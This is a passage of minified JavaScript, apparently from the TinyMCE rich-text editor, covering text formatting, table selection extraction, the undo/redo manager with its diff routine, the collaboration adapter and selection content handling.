r=Pp(h,r,"span",{id:"_start","data-mce-type":"bookmark"}),o=Pp(h,o,"span",{id:"_end","data-mce-type":"bookmark"}),i=h.createRng();i.setStartAfter(r),i.setEndBefore(o),_l(h,i,function(e){Y(e,function(e){Qc(e)||Qc(e.parentNode)||a(e)})}),a(r),a(o),r=d(!0),o=d()}else r=o=a(r);t.startContainer=r.parentNode||r,t.startOffset=h.nodeIndex(r),t.endContainer=o.parentNode||o,t.endOffset=h.nodeIndex(o)+1}_l(h,t,function(e){Y(e,v)})}var n,m=u.formatter.get(s),g=m[0],p=!0,h=u.dom,r=u.selection,v=function(t){var e=!0,n=!1;Hn(t)&&h.getContentEditable(t)&&(e=p,p="true"===h.getContentEditable(t),n=!0);var r,o,i=xe(t.childNodes);if(p&&!n&&(r=f(t)||F(m,function(e){return Pg(h,t,e)}),o=t.parentNode,!r&&V(o)&&hl(g)&&f(o)),g.deep&&i.length){for(var a=0;a<i.length;a++)v(i[a]);n&&(p=e)}Y(["underline","line-through","overline"],function(e){Hn(t)&&u.dom.getStyle(t,"text-decoration")===e&&t.parentNode&&ll(h,t.parentNode)===e&&Fp(u,{deep:!1,exact:!0,inline:"span",styles:{textDecoration:e}},null,t)})};if(e)return tl(e)?((n=h.createRng()).setStartBefore(e),n.setEndAfter(e),t(n)):t(e),void wf(u,s,e,c);if("false"!==h.getContentEditable(r.getNode()))r.isCollapsed()&&pl(g)&&!Dl(u).length?$g(u,s,c,l):(Il(r,!0,function(){Ll(u,t)}),pl(g)&&Ig(u,s,c,r.getStart())&&nl(h,r,r.getRng()),u.nodeChanged()),wf(u,s,e,c);else{e=r.getNode();for(var o=0;o<m.length&&(!m[o].ceFalseOverride||!Fp(u,m[o],c,e,e));o++);wf(u,s,e,c)}}function zp(e){return Hn(e)&&!Qc(e)&&!Vc(e)&&!sn(e)}function Hp(e){return Ee(e,"vars")}function jp(n,e,r,o,i){return I(e,function(e){var t=n.formatter.matchNode(e,r,null!=i?i:{},o);return!b(t)},function(e){return Og(n,e,r)||!o&&V(n.formatter.matchNode(e,r,i,!0))})}function Vp(e,t){var n=null!=t?t:Bh(e);return U(fl(e.dom,n),function(e){return Hn(e)&&!sn(e)})}function qp(e,o,i,a,t,n){var r,u,s,c,l,f,d,m,g;return null===o.get()&&(u=e,(r=o).set({}),u.on("NodeChange",function(e){Ph(u,e.element,r.get())}),u.on("FormatApply FormatRemove",function(e){var t=ve.from(e.node).map(function(e){return tl(e)?e:e.startContainer}).bind(function(e){return Hn(e)?ve.some(e):ve.from(e.parentElement)}).getOrThunk(function(){return Bh(u)});Ph(u,t,r.get())})),s=e,l=i,f=a,d=t,m=n,g=(c=o).get(),Y(l.split(","),function(t){function e(){var e=Vp(s);return jp(s,e,t,d,m).isSome()}var n,r=ue(g,t).getOrThunk(function(){var e={withSimilar:{state:au(!1),similar:!0,callbacks:[]},withoutSimilar:{state:au(!1),similar:!1,callbacks:[]},withVars:[]};return g[t]=e});b(m)?((n=d?r.withSimilar:r.withoutSimilar).callbacks.push(f),1===n.callbacks.length&&n.state.set(e())):r.withVars.push({state:au(e()),similar:d,vars:m,callback:f})}),c.set(g),{unbind:function(){var e,t=i,n=a,r=(e=o).get();Y(t.split(","),function(t){return ue(r,t).each(function(e){r[t]={withSimilar:_e(_e({},e.withSimilar),{callbacks:U(e.withSimilar.callbacks,function(e){return e!==n})}),withoutSimilar:_e(_e({},e.withoutSimilar),{callbacks:U(e.withoutSimilar.callbacks,function(e){return e!==n})}),withVars:U(e.withVars,function(e){return e.callback!==n})}})}),e.set(r)}}}function $p(e,t){var n=(t||document).createDocumentFragment();return Y(e,function(e){n.appendChild(e.dom)}),Et.fromDom(n)}function Wp(e,t,n){return{element:e,width:t,rows:n}}function Kp(e,t){return{element:e,cells:t}}function Xp(e,t){var n=parseInt(vn(e,t),10);return isNaN(n)?1:n}function Yp(e){return L(e,function(e,t){return t.cells.length>e?t.cells.length:e},0)}function Gp(e,t){for(var n=e.rows,r=0;r<n.length;r++)for(var o=n[r].cells,i=0;i<o.length;i++)if(je(o[i],t))return ve.some({x:i,y:r});return ve.none()}function Jp(e,t,n,r,o){for(var i=[],a=e.rows,u=n;u<=o;u++){var s=a[u].cells,c=t<r?s.slice(t,r+1):s.slice(r,t+1);i.push(Kp(a[u].element,c))}return i}function Qp(e){var o=Wp(Eu(e),0,[]);return Y(yu(e,"tr"),function(n,r){Y(yu(n,"td,th"),function(e,t){!function(e,t,n,r,o){for(var i=Xp(o,"rowspan"),a=Xp(o,"colspan"),u=e.rows,s=n;s<n+i;s++){u[s]||(u[s]=Kp(ku(r),[]));for(var c=t;c<t+a;c++)u[s].cells[c]=s===n&&c===t?o:Eu(o)}}(o,function(e,t,n){for(;r=t,((o=e.rows)[n]?o[n].cells:[])[r];)t++;var r,o;return t}(o,t,r),r,n,e)})}),Wp(o.element,Yp(o.rows),o.rows)}function Zp(e,t){var n,r,o,i=Et.fromDom(t.commonAncestorContainer),a=ym(i,e),u=U(a,function(e){return Br(e)||mo(e)}),s=(o=t,M(r=a,function(e){return"li"===kt(e)&&Ol(e,o)}).fold(J([]),function(e){return M(r,function(e){return"ul"===kt(e)||"ol"===kt(e)}).map(function(e){var t=Et.fromTag(kt(e));return xn(t,ae(Nn(e),function(e,t){return Ge(t,"list-style")})),[Et.fromTag("li"),t]}).getOr([])}));return A(u.concat(s.length?s:vo(n=i)?Ot(n).filter(ho).fold(J([]),function(e){return[n,e]}):ho(n)?[n]:[]),Eu)}function eh(){return $p([])}function th(e,i){return vr(i[0],"table",R(je,e)).bind(function(e){var s,t,n=i[0],r=i[i.length-1],o=Qp(e);return t=r,Gp(s=o,n).bind(function(u){return Gp(s,t).map(function(e){return t=s,n=u.x,r=u.y,o=e.x,a=r<(i=e.y)?Jp(t,n,r,o,i):Jp(t,n,i,o,r),Wp(t.element,Yp(a),a);var t,n,r,o,i,a})}).map(function(e){return $p([(n=A((t=e).rows,function(e){var t=A(e.cells,function(e){var t=ku(e);return Cn(t,"colspan"),Cn(t,"rowspan"),t}),n=Eu(e.element);return Kt(n,t),n}),r=Eu(t.element),Kt(o=Et.fromTag("tbody"),n),Ln(r,o),r)]);var t,n,r,o})}).getOrThunk(eh)}function nh(e,t){var n,r,o,i,a,u,s,c=Rl(t,e);return 0<c.length?th(e,c):(n=e,0<(r=t).length&&r[0].collapsed?eh():(o=n,i=r[0],a=Et.fromDom(i.cloneContents()),s=L(u=Zp(o,i),function(e,t){return Ln(t,e),t},a),0<u.length?$p([s]):s))}function rh(e,t){return 0<=t&&t<e.length&&Zc(e.charAt(t))}function oh(e,t){var n=Eo(e.innerText);return t?n.replace(/^[ \f\n\r\t\v]+/,""):n}function ih(e){return Hn(e)?e.outerHTML:Vn(e)?Zo.encodeRaw(e.data,!1):qn(e)?"\x3c!--"+e.data+"--\x3e":""}function ah(e,c){var l=0;Y(e,function(e){var t,n,r,o,i,a,u,s;0===e[0]?l++:1===e[0]?(o=c,i=e[1],a=l,s=function(e){var t,n=document.createElement("div"),r=document.createDocumentFragment();for(e&&(n.innerHTML=e);t=n.firstChild;)r.appendChild(t);return r}(i),o.hasChildNodes()&&a<o.childNodes.length?(u=o.childNodes[a]).parentNode.insertBefore(s,u):o.appendChild(s),l++):2===e[0]&&(n=l,(t=c).hasChildNodes()&&n<t.childNodes.length&&(r=t.childNodes[n]).parentNode.removeChild(r))})}function uh(e){var t=e.serializer.getTempAttrs(),n=em(e.getBody(),t);return null!==n.querySelector("iframe")?{type:"fragmented",fragments:U(A(xe(n.childNodes),i(Eo,ih)),function(e){return 0<e.length}),content:"",bookmark:null,beforeBookmark:null}:{type:"complete",fragments:null,content:Eo(n.innerHTML),bookmark:null,beforeBookmark:null}}function sh(e,t,n){var r,o,i,g,p,a,h,v,c,l,u,s=n?t.beforeBookmark:t.bookmark;function b(e,t,n,r){for(var o=e;o-t<r&&o<n&&g[o]===p[o-t];)++o;return{start:e,end:o,diag:t}}"fragmented"===t.type?(r=t.fragments,o=e.getBody(),i=A(xe(o.childNodes),ih),ah((p=r,a=(g=i).length+p.length+2,h=new Array(a),v=new Array(a),c=function(e,t,n,r,o){var i=l(e,t,n,r);if(null===i||i.start===t&&i.diag===t-r||i.end===e&&i.diag===e-n)for(var a=e,u=n;a<t||u<r;)a<t&&u<r&&g[a]===p[u]?(o.push([0,g[a]]),++a,++u):r-n<t-e?(o.push([2,g[a]]),++a):(o.push([1,p[u]]),++u);else{c(e,i.start,n,i.start-i.diag,o);for(var s=i.start;s<i.end;++s)o.push([0,g[s]]);c(i.end,t,i.end-i.diag,r,o)}},l=function(e,t,n,r){var o=t-e,i=r-n;if(0==o||0==i)return null;var a,u,s,c,l,f=o-i,d=i+o,m=(d%2==0?d:1+d)/2;for(h[1+m]=e,v[1+m]=t+1,a=0;a<=m;++a){for(u=-a;u<=a;u+=2){for(s=u+m,u===-a||u!==a&&h[s-1]<h[s+1]?h[s]=h[s+1]:h[s]=h[s-1]+1,l=(c=h[s])-e+n-u;c<t&&l<r&&g[c]===p[l];)h[s]=++c,++l;if(f%2!=0&&f-a<=u&&u<=f+a&&v[s-f]<=h[s])return b(v[s-f],u+e-n,t,r)}for(u=f-a;u<=f+a;u+=2){for(s=u+m-f,u===f-a||u!==f+a&&v[s+1]<=v[s-1]?v[s]=v[s+1]-1:v[s]=v[s-1],l=(c=v[s]-1)-e+n-u;e<=c&&n<=l&&g[c]===p[l];)v[s]=c--,l--;if(f%2==0&&-a<=u&&u<=a&&v[s]<=h[s+f])return b(v[s],u+e-n,t,r)}}},u=[],c(0,g.length,0,p.length,u),u),o)):e.setContent(t.content,{format:"raw",no_selection:!V(s)||!$c(s)||!s.isFakeCaret}),e.selection.moveToBookmark(s)}function ch(e){return"fragmented"===e.type?e.fragments.join(""):e.content}function lh(e){var t=Et.fromTag("body",Lh());return Su(t,ch(e)),Y(yu(t,"*[data-mce-bogus]"),Yt),t.dom.innerHTML}function fh(e,t){return!(!e||!t)&&(r=t,ch(e)===ch(r)||(n=t,lh(e)===lh(n)));var n,r}function dh(e){return 0===e.get()}function mh(e,t,n){dh(n)&&(e.typing=t)}function gh(e,t){e.typing&&(mh(e,!1,t),e.add())}function ph(c){return{undoManager:{beforeChange:function(e,t){var n=c,r=t;dh(e)&&r.set(hc(n.selection))},add:function(e,t,n,r,o,i){return function(e,t,n,r,o,i,a){var u=uh(e);if(i=Nt.extend(i=i||{},u),!1===dh(r)||e.removed)return null;var s=t.data[n.get()];if(e.fire("BeforeAddUndo",{level:i,lastLevel:s,originalEvent:a}).isDefaultPrevented())return null;if(s&&fh(s,i))return null;t.data[n.get()]&&o.get().each(function(e){t.data[n.get()].beforeBookmark=e});var c=e.getParam("custom_undo_redo_levels",0,"number");if(c&&t.data.length>c){for(var l=0;l<t.data.length-1;l++)t.data[l]=t.data[l+1];t.data.length--,n.set(t.data.length)}i.bookmark=hc(e.selection),n.get()<t.data.length-1&&(t.data.length=n.get()+1),t.data.push(i),n.set(t.data.length-1);var f={level:i,lastLevel:s,originalEvent:a};return 0<n.get()?(e.setDirty(!0),e.fire("AddUndo",f),e.fire("change",f)):e.fire("AddUndo",f),i}(c,e,t,n,r,o,i)},undo:function(e,t,n){return r=c,i=t,a=n,(o=e).typing&&(o.add(),o.typing=!1,mh(o,!1,i)),0<a.get()&&(a.set(a.get()-1),sh(r,u=o.data[a.get()],!0),r.setDirty(!0),r.fire("Undo",{level:u})),u;var r,o,i,a,u},redo:function(e,t){return n=c,o=t,(r=e).get()<o.length-1&&(r.set(r.get()+1),sh(n,i=o[r.get()],!1),n.setDirty(!0),n.fire("Redo",{level:i})),i;var n,r,o,i},clear:function(e,t){var n,r=c,o=t;(n=e).data=[],o.set(0),n.typing=!1,r.fire("ClearUndos")},reset:function(e){var t;(t=e).clear(),t.add()},hasUndo:function(e,t){return n=c,r=e,0<t.get()||r.typing&&r.data[0]&&!fh(uh(n),r.data[0]);var n,r},hasRedo:function(e,t){return n=e,t.get()<n.data.length-1&&!n.typing;var n},transact:function(e,t,n){return o=n,gh(r=e,t),r.beforeChange(),r.ignore(o),r.add();var r,o},ignore:function(e,t){try{e.set(e.get()+1),t()}finally{e.set(e.get()-1)}},extra:function(e,t,n,r){var o,i,a=c,u=t,s=r;(o=e).transact(n)&&(i=o.data[u.get()].bookmark,sh(a,o.data[u.get()-1],!0),o.transact(s)&&(o.data[u.get()-1].beforeBookmark=i))}},formatter:{match:function(e,t,n,r){return Ig(c,e,t,n,r)},matchAll:function(e,t){return o=e,i=t,a=[],u={},n=(r=c).selection.getStart(),r.dom.getParent(n,function(e){for(var t=0;t<o.length;t++){var n=o[t];!u[n]&&yp(r,e,n,i)&&(u[n]=!0,a.push(n))}},r.dom.getRoot()),a;var r,o,i,a,u,n},matchNode:function(e,t,n,r){return yp(c,e,t,n,r)},canApply:function(u){return function(e){var t=e.formatter.get(u),n=e.dom;if(t)for(var r=fl(n,e.selection.getStart()),o=t.length-1;0<=o;o--){var i=t[o];if(!gl(i)||V(i.defaultBlock))return!0;for(var a=r.length-1;0<=a;a--)if(n.is(r[a],i.selector))return!0}return!1}(c)},closest:function(e){return r=c,o=e,ve.from(r.selection.getStart(!0)).bind(function(e){return Tg(Et.fromDom(e),function(n){return ee(o,function(e){return yp(r,n.dom,t=e)?ve.some(t):ve.none();var t})},t)}).getOrNull();function t(e){return je(e,Et.fromDom(r.getBody()))}var r,o},apply:function(e,t,n){return Oh(c,e,t,n)},remove:function(e,t,n,r){return Up(c,e,t,n,r)},toggle:function(e,t,n){var r,o=e,i=t,a=n,u=(r=c).formatter.get(o);(!Ig(r,o,i,a)||"toggle"in u[0]&&!u[0].toggle?Oh:Up)(r,o,i,a)},formatChanged:function(e,t,n,r,o){return qp(c,e,t,n,r,o)}},editor:{getContent:function(e,t){return d=c,m=e,g=t,ve.from(d.getBody()).fold(J("tree"===m.format?new jd("body",11):""),function(e){return t=d,r=e,o=g,c=_e(_e({},n=m),{format:o,get:!0,getInner:!0}),l=n.no_events?c:t.fire("BeforeGetContent",c),f="raw"===l.format?Nt.trim(Eo(em(r,t.serializer.getTempAttrs()).innerHTML)):"text"===l.format?t.dom.isEmpty(r)?"":Eo(r.innerText||r.textContent):"tree"===l.format?t.serializer.serialize(r,l):(a=(i=t).serializer.serialize(r,l),u=ks(i),s=new RegExp("^(<"+u+"[^>]*>(&nbsp;|&#160;|\\s|\xa0|<br \\/>|)<\\/"+u+">[\r\n]*|<br \\/>[\r\n]*)$"),a.replace(s,"")),T(["text","tree"],l.format)||Co(Et.fromDom(r))?l.content=f:l.content=Nt.trim(f),(l.no_events?l:t.fire("GetContent",l)).content;var t,n,r,o,i,a,u,s,c,l,f});var d,m,g},setContent:function(e,t){return Rg(c,e,t)},insertContent:function(e,t){return kg(c,e,t)},addVisual:function(e){var i,t=e,a=(i=c).dom,n=V(t)?t:i.getBody();b(i.hasVisual)&&(i.hasVisual=i.getParam("visual",!0,"boolean")),Y(a.select("table,a",n),function(e){switch(e.nodeName){case"TABLE":var t=i.getParam("visual_table_class","mce-item-table","string"),n=a.getAttrib(e,"border");n&&"0"!==n||!i.hasVisual?a.removeClass(e,t):a.addClass(e,t);break;case"A":var r,o;a.getAttrib(e,"href")||(r=a.getAttrib(e,"name")||e.id,o=i.getParam("visual_anchor_class","mce-item-anchor","string"),r&&i.hasVisual?a.addClass(e,o):a.removeClass(e,o))}}),i.fire("VisualAid",{element:t,hasVisual:i.hasVisual})}},selection:{getContent:function(e,t){return function(e,t,n){var r,o=(r=t,_e(_e({},n=void 0===n?{}:n),{format:r,get:!0,selection:!0})),i=e.fire("BeforeGetContent",o);if(i.isDefaultPrevented())return e.fire("GetContent",i),i.content;if("text"===i.format)return m=e,ve.from(m.selection.getRng()).map(function(e){var t=ve.from(m.dom.getParent(e.commonAncestorContainer,m.dom.isBlock)),n=m.getBody(),r=t.map(function(e){return e.nodeName}).getOr("div").toLowerCase(),o=xt.browser.isIE()&&"pre"!==r,i=m.dom.add(n,r,{"data-mce-bogus":"all",style:"overflow: hidden; opacity: 0;"},e.cloneContents()),a=oh(i,o),u=Eo(i.textContent);if(m.dom.remove(i),rh(u,0)||rh(u,u.length-1)){var s=oh(t.getOr(n),o),c=s.indexOf(a);return-1===c?a:(rh(s,c-1)?" ":"")+a+(rh(s,c+a.length)?" ":"")}return a}).getOr("");i.getInner=!0;var a,u,s,c,l,f,d,m,g=(u=i,s=(a=e).selection.getRng(),c=a.dom.create("body"),l=a.selection.getSel(),f=Ed(a,Al(l)),(d=u.contextual?nh(Et.fromDom(a.getBody()),f).dom:s.cloneContents())&&c.appendChild(d),a.selection.serializer.serialize(c,u));return"tree"===i.format?g:(i.content=e.selection.isCollapsed()?"":g,e.fire("GetContent",i),i.content)}(c,e,t)}},raw:{getModel:function(){return ve.none()}}}}function hh(e){return Ee(e.plugins,"rtc")}function vh(e){var u=e;return ue(e.plugins,"rtc").bind(function(e){return ve.from(e.setup)}).fold(function(){return u.rtcInstance=ph(e),ve.none()},function(e){var t,n;return u.rtcInstance=(t=J(null),n=J(""),{undoManager:{beforeChange:te,add:t,undo:t,redo:t,clear:te,reset:te,hasUndo:D,hasRedo:D,transact:t,ignore:te,extra:te},formatter:{match:D,matchAll:J([]),matchNode:J(void 0),canApply:D,closest:n,apply:te,remove:te,toggle:te,formatChanged:J({unbind:te})},editor:{getContent:n,setContent:n,insertContent:te,addVisual:te},selection:{getContent:n},raw:{getModel:J(ve.none())}}),ve.some(function(){return e().then(function(e){return u.rtcInstance=(i=e.undoManager,a=e.formatter,n=e.editor,r=e.selection,t=e.raw,{undoManager:{beforeChange:i.beforeChange,add:i.add,undo:i.undo,redo:i.redo,clear:i.clear,reset:i.reset,hasUndo:i.hasUndo,hasRedo:i.hasRedo,transact:function(e,t,n){return i.transact(n)},ignore:function(e,t){return i.ignore(t)},extra:function(e,t,n,r){return i.extra(n,r)}},formatter:{match:function(e,t,n,r){return a.match(e,o(t),r)},matchAll:a.matchAll,matchNode:a.matchNode,canApply:function(e){return a.canApply(e)},closest:function(e){return a.closest(e)},apply:function(e,t,n){return a.apply(e,o(t))},remove:function(e,t,n,r){return a.remove(e,o(t))},toggle:function(e,t,n){return a.toggle(e,o(t))},formatChanged:function(e,t,n,r,o){return a.formatChanged(t,n,r,o)}},editor:{getContent:function(e,t){return n.getContent(e)},setContent:function(e,t){return n.setContent(e,t)},insertContent:function(e,t){return n.insertContent(e)},addVisual:n.addVisual},selection:{getContent:function(e,t){return r.getContent(t)}},raw:{getModel:function(){return ve.some(t.getRawModel())}}}),e.rtc.isRemote;function o(e){return h(e)?e:{}}var i,a,n,r,t})})})}function bh(e){return e.rtcInstance||ph(e)}function yh(e){var t=e.rtcInstance;if(t)return t;throw new Error("Failed to get RTC instance not yet initialized.")}function Ch(e){return 0===e.dom.length?(In(e),ve.none()):ve.some(e)}function xh(e,t,u,s){e.bind(function(a){return(s?jm:Hm)(a.dom,s?a.dom.length:0),t.filter(An).map(function(e){var t=u,n=s,r=a.dom,o=e.dom,i=(n?r:o).length;n?(Vm(r,o,!1,!n),t.setStart(o,i)):(Vm(o,r,!1,!n),t.setEnd(o,i))})}).orThunk(function(){var e=s;return t.filter(function(e){return Hl.isBookmarkNode(e.dom)}).bind(e?Pt:Bt).or(t).filter(An).map(function(e){var n,r=s;Ot(n=e).each(function(e){var t=n.dom;r&&Bm(e,cs(t,0))?Hm(t,0):!r&&Pm(e,cs(t,t.length))&&jm(t,t.length)})})})}function wh(e,t,n){var r,o=(r=t,_e(_e({format:"html"},n=void 0===n?{}:n),{set:!0,selection:!0,content:r})),i=o;if(!o.no_events){var a=e.fire("BeforeSetContent",o);if(a.isDefaultPrevented())return void e.fire("SetContent",a);i=a}i.content=function(e,t){if("raw"===t.format)return t.content;var n=e.selection.getRng(),r=e.dom.getParent(n.commonAncestorContainer,e.dom.isBlock),o=r?{context:r.nodeName.toLowerCase()}:{},i=e.parser.parse(t.content,_e(_e({isRootContent:!0,forced_root_block:!1},o),t));return rm({validate:e.validate},e.schema).serialize(i)}(e,i);var u=e.selection.getRng();!function(e,t){var n=ve.from(t.firstChild).map(Et.fromDom),r=ve.from(t.lastChild).map(Et.fromDom);e.deleteContents(),e.insertNode(t);var o=n.bind(Bt).filter(An).bind(Ch),i=r.bind(Pt).filter(An).bind(Ch);xh(o,n,e,!0),xh(i,r,e,!1),e.collapse(!1)}(u,u.createContextualFragment(i.content)),e.selection.setRng(u),nd(e,u),i.no_events||e.fire("SetContent",i)}function Sh(e,t,n){var r;e&&Ee(e,t)&&(0===(r=U(e[t],function(e){return e!==n})).length?delete e[t]:e[t]=r)}Kg=function(e){var t,n=e.selection.getRng(),r=on(["pre"]);n.collapsed||(t=e.selection.getSelectedBlocks(),Np(Sp(Sp(t,r),function(e){return r(e.previousSibling)&&-1!==de(t,e.previousSibling)}),function(e){var t,n=e.previousSibling;Ya(t=e).remove(),Ya(n).append("<br><br>").append(t.childNodes)}))},wp["pre"]||(wp.pre=[]),wp.pre.push(Kg);var Nh=Nt.each,Eh=function(e,t,n){Nh(e.childNodes,function(e){Ep(e)&&(t(e)&&n(e),e.hasChildNodes()&&Eh(e,t,n))})},kh=ir([{keep:[]},{rename:["name"]},{removed:[]}]),_h=/^(src|href|style)$/,Ah=Nt.each,Rh=ul,Dh=Nt.each,Th=Nt.each,Oh=function(S,N,E,r){function k(n,e){var t;y((e=void 0===e?A:e).onformat)&&e.onformat(n,e,E,r),Th(e.styles,function(e,t){u.setStyle(n,t,al(e,E))}),!e.styles||(t=u.getAttrib(n,"style"))&&u.setAttrib(n,"data-mce-style",t),Th(e.attributes,function(e,t){u.setAttrib(n,t,al(e,E))}),Th(e.classes,function(e){e=al(e,E),u.hasClass(n,e)||u.addClass(n,e)})}function g(e,t){var n=!1;return Th(e,function(e){return!!gl(e)&&(V(e.collapsed)&&e.collapsed!==a||!u.is(t,e.selector)||Vc(t)?void 0:(k(t,e),!(n=!0)))}),n}function o(x,e,l){var w=[],f=!0,d=A.inline||A.block,m=function(e){if(X(e)){var t=u.create(e);return k(t),t}return null}(d);_l(x,e,function(e){var s,c=function(e){var t=!1,n=f,r=e.nodeName.toLowerCase(),o=e.parentNode,i=o.nodeName.toLowerCase();if(Hn(e)&&x.getContentEditable(e)&&(n=f,f="true"===x.getContentEditable(e),t=!0),Kn(e)&&!function(e,t,n,r){if(e.getParam("format_empty_lines",!1,"boolean")&&pl(t)){var o=no(e.schema),i=(a=Et.fromDom(n),s=function(e){return Vc(e.dom)},((c=(u=a).dom).parentNode?kr(Et.fromDom(c.parentNode),function(e){return!je(u,e)&&s(e)}):ve.none()).isSome());return se(o,r)&&Kr(Et.fromDom(n.parentNode),!1)&&!i}var a,u,s,c}(S,A,e,i))return s=null,void(ml(A)&&x.remove(e));if(ml(A)&&A.wrapper&&yp(S,e,N,E))s=null;else{if(f&&!t&&ml(A)&&!A.wrapper&&ol(S,r)&&il(S,i,d)){var a=x.rename(e,d);return k(a),w.push(a),void(s=null)}if(gl(A)){var u=g(_,e);if(!u&&V(o)&&hl(A)&&(u=g(_,o)),!pl(A)||u)return void(s=null)}!f||t||!il(S,d,r)||!il(S,i,d)||!l&&Vn(e)&&No(e.data)||Vc(e)||pl(A)&&x.isBlock(e)?(s=null,Y(xe(e.childNodes),c),t&&(f=n),s=null):(s||(s=x.clone(m,!1),e.parentNode.insertBefore(s,e),w.push(s)),s.appendChild(e))}};Y(e,c)}),!0===A.links&&Y(w,function(e){var t=function(e){"A"===e.nodeName&&k(e,A),Y(xe(e.childNodes),t)};t(e)}),Y(w,function(e){var n,t,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y=(n=0,Y(e.childNodes,function(e){var t;V(t=e)&&Vn(t)&&0===t.length||Qc(e)||n++}),n);function C(e){var t;1===e.nodeType&&e.parentNode&&1===e.parentNode.nodeType&&(t=ll(m,e.parentNode),m.getStyle(e,"color")&&t?m.setStyle(e,"text-decoration",t):m.getStyle(e,"text-decoration")===t&&m.setStyle(e,"text-decoration",null))}!(1<w.length)&&x.isBlock(e)||0!==y?(pl(A)||ml(A)&&A.wrapper)&&(A.exact||1!==y||(e=M((d=e).childNodes,zp).filter(function(e){return Pg(x,e,A)}).map(function(e){var t=x.clone(e,!1);return k(t),x.replace(t,d,!0),x.remove(e,!0),t}).getOr(d)),h=S,v=E,b=e,Dh(_,function(t){var r,e,n;pl(t)&&Dh(h.dom.select(t.inline,b),function(e){Ep(e)&&Fp(h,t,v,e,t.exact?e:null)}),r=h.dom,(e=t).clear_child_styles&&(n=e.links?"*:not(a)":"*",Nh(r.select(n,b),function(n){Ep(n)&&Nh(e.styles,function(e,t){r.setStyle(n,t,"")})}))}),s=A,yp(u=S,(f=e).parentNode,c=N,l=E)&&Fp(u,s,l,f)||s.merge_with_parents&&u.dom.getParent(f.parentNode,function(e){if(yp(u,e,c,l))return Fp(u,s,l,f),!0}),a=e,(i=A).styles&&i.styles.backgroundColor&&Eh(a,Rp(x,"fontSize"),Dp(x,"backgroundColor",al(i.styles.backgroundColor,E))),m=x,p=e,(g=A).styles&&(g.styles.color||g.styles.textDecoration)&&(Nt.walk(p,C,"childNodes"),C(p)),t=x,o=e,!pl(r=A)||"sub"!==r.inline&&"sup"!==r.inline||(Eh(o,Rp(t,"fontSize"),Dp(t,"fontSize","")),t.remove(t.select("sup"===r.inline?"sub":"sup",o),!0)),Ap(x,A,0,e)):x.remove(e,!0)})}var e,t,n,i,_=S.formatter.get(N),A=_[0],a=!r&&S.selection.isCollapsed(),u=S.dom,s=S.selection;if("false"!==u.getContentEditable(s.getNode()))A&&(r?tl(r)?g(_,r)||((e=u.createRng()).setStartBefore(r),e.setEndAfter(r),o(u,kl(S,e,_),!0)):o(u,r,!0):a&&pl(A)&&!Dl(S).length?function(e,t,n){var r,o=e.selection,i=o.getRng(),a=i.startOffset,u=i.startContainer.nodeValue,s=qc(e.getBody(),o.getStart());s&&(r=Fg(s));var c,l,f,d,m=/[^\s\u00a0\u00ad\u200b\ufeff]/;u&&0<a&&a<u.length&&m.test(u.charAt(a))&&m.test(u.charAt(a-1))?(c=o.getBookmark(),i.collapse(!0),l=Pf(kl(e,i,e.formatter.get(t))),e.formatter.apply(t,n,l),o.moveToBookmark(c)):(s&&r.nodeValue===Cp||(f=e.getDoc(),d=Ug(!0).dom,r=(s=f.importNode(d,!0)).firstChild,i.insertNode(s),a=1),e.formatter.apply(t,n,s),o.setCursorLocation(r,a))}(S,N,E):(t=s.getNode(),n=_[0],S.settings.forced_root_block||!n.defaultBlock||u.getParent(t,u.isBlock)||Oh(S,n.defaultBlock),s.setRng(Cg(s.getRng())),Il(s,!0,function(){Ll(S,function(e,t){var n=t?e:kl(S,e,_);o(u,n,!1)})}),nl(u,s,s.getRng()),S.nodeChanged()),i=S,Np(wp[N],function(e){e(i)})),xf(S,N,r,E);else{r=s.getNode();for(var c=0,l=_.length;c<l;c++){var f=_[c];if(f.ceFalseOverride&&gl(f)&&u.is(r,f.selector)){k(r,f);break}}xf(S,N,r,E)}},Bh=function(e){return e.selection.getStart()},Ph=function(i,a,e){var u=Vp(i,a);ne(e,function(e,o){function t(e){var t,n=jp(i,u,o,e.similar,Hp(e)?e.vars:void 0),r=n.isSome();e.state.get()!==r&&(e.state.set(r),t=n.getOr(a),Hp(e)?e.callback(r,{node:t,format:o,parents:u}):Y(e.callbacks,function(e){return e(r,{node:t,format:o,parents:u})}))}Y([e.withSimilar,e.withoutSimilar],t),Y(e.withVars,t)})},Lh=Re(function(){return document.implementation.createHTMLDocument("undo")});function Ih(e){return e.select}function Mh(e){return e&&e.ownerDocument&&Ve(Et.fromDom(e.ownerDocument),Et.fromDom(e))}function Fh(a,u,e,s){function t(e,t){return wh(s,e,t)}function n(){var e=c(),t=null==e?void 0:e.anchorNode,n=null==e?void 0:e.focusNode;if(!e||!t||!n||rn(t)||rn(n))return!0;var r=a.createRng();r.setStart(t,e.anchorOffset),r.collapse(!0);var o=a.createRng();return o.setStart(n,e.focusOffset),o.collapse(!0),r.compareBoundaryPoints(r.START_TO_START,o)<=0}function r(e){var t=p();t.collapse(!!e),h(t)}function c(){return u.getSelection?u.getSelection():u.document.selection}var l,f,o,i,d,m,g=function(e,t){return d||(d={},m={},i.on("NodeChange",function(e){var n=e.element,r=x(n),o={};Nt.each(d,function(e,n){C(n,r).each(function(t){m[n]||(Y(e,function(e){e(!0,{node:t,selector:n,parents:r})}),m[n]=e),o[n]=e})}),Nt.each(m,function(e,t){o[t]||(delete m[t],Nt.each(e,function(e){e(!1,{node:n,selector:t,parents:r})}))})})),d[e]||(d[e]=[]),d[e].push(t),C(e,x(i.selection.getStart())).each(function(){m[e]=d[e]}),{unbind:function(){Sh(d,e,t),Sh(m,e,t)}}},p=function(){function e(e,t,n){try{return t.compareBoundaryPoints(e,n)}catch(e){return-1}}var t,n,r,o=u.document;if(void 0!==s.bookmark&&!1===Cd(s)){var i=md(s);if(i.isSome())return i.map(function(e){return Ed(s,[e])[0]}).getOr(o.createRange())}try{(t=c())&&!rn(t.anchorNode)&&(n=0<t.rangeCount?t.getRangeAt(0):(t.createRange?t:o).createRange(),n=Ed(s,[n])[0])}catch(e){}return(n=n||(o.createRange?o.createRange():o.body.createTextRange())).setStart&&9===n.startContainer.nodeType&&n.collapsed&&(r=a.getRoot(),n.setStart(r,0),n.setEnd(r,0)),l&&f&&(0===e(n.START_TO_START,n,l)&&0===e(n.END_TO_END,n,l)?n=f:f=l=null),n},h=function(e,t){var n;if((r=e)&&(Ih(r)||Mh(r.startContainer)&&Mh(r.endContainer))){var r,o=Ih(e)?e:null;if(o){f=null;try{o.select()}catch(e){}}else{var 